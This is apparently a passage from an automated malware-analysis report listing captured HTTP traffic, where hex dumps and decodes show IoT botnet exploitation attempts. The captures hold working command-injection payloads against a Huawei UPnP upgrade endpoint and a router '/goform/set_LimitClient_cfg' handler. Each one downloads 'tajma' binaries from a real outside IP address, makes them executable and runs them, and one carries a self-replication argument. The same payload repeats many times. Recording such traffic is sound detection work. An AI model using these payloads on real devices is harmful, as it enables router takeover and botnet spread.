3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
Source: global traffic HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf *mpsl*;
